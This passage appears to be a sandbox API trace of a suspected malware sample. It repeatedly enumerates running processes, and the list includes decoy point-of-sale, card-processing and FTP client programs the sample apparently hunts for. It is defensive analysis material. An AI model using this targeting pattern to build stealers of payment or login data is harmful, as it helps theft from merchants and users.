szExeFile="webdrive.exe")) returned 1 [0255.475] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0255.478] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0255.480] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0255.483] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0255.485] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0255.487] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0255.489] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0255.490] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0255.492] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0255.494] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0255.496] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0255.498] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0255.536] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0255.538] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0255.540] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0255.541] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0255.543] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0255.544] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0255.546] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0255.547] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0255.549] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0255.551] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0255.552] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0255.554] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0255.555] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0255.557] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0255.558] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0255.560] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0255.561] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0255.563] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0255.564] CloseHandle (hObject=0x1038) returned 1 [0255.564] Sleep (dwMilliseconds=0x64) [0255.600] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1038 [0255.611] Process32First (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.613] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0255.614] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0255.615] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.617] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0255.618] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.620] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0255.621] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0255.622] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0255.624] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.625] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.627] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0255.628] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.629] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.631] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.632] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.633] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.677] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.679] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.680] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0255.682] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0255.683] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0255.685] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.686] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0255.688] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0255.689] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0255.691] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0255.692] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.694] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0255.696] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0255.698] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0255.699] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0255.701] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0255.703] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0255.704] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0255.707] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0255.708] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0255.710] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0255.711] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0255.712] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0255.714] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0255.715] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0255.716] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0255.718] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0255.755] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0255.757] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0255.759] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0255.761] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0255.763] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0255.765] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0255.766] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0255.768] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0255.771] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0255.773] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, 